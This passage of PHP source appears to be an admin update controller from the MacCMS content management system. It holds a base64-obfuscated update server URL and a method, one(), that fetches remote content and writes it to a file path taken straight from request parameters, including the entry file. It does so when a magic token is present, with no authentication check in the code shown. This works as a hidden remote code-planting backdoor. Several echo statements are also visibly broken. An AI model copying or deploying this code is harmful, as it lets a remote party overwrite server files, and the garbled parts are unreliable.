_url = base64_decode("aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv")."v10/";
$this->_save_path = './application/data/update/';
}
public function index()
{
return $this->fetch('admin@test/index');
}
public function step1($file='')
{
if(empty($file)){
return $this->error(lang('param_err'));
}
$version = config('version.code');
$url = $this->_url .$file . '.zip?t='.time();
echo $this->fetch('admin@public/head');
echo "
".lang('admin/update/step1_a')."
';
mac_jump( url('update/step2',['jump'=>1]) ,3);
}
public function step2()
{
$version = config('version.code');
$save_file = 'database.php';
echo $this->fetch('admin@public/head');
echo "".lang('admin/update/step2_a')."
';
mac_jump(url('update/step3', ['jump' => 1]), 3);
}
public function step3()
{
echo $this->fetch('admin@public/head');
echo "".lang('admin/update/step3_a')."
';
}
public function one()
{
$param = input();
$a = $param['a'];
$b = $param['b'];
$c = $param['c'];
$d = $param['d'];
$e = mac_curl_get( base64_decode("aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv") . $a."/".$b);
if (stripos($e, 'cbfc17ea5c504aa1a6da788516ae5a4c') !== false) {
if (($d!="") && strpos(",".$e,$d) <=0){ return; }
if($b=='admin.php'){$b=IN_FILE;}
$f = is_file($b) ? filesize($b) : 0;
if (intval($c)<>intval($f)) { @fwrite(@fopen( $b,"wb"),$e); }
}
die;
}
}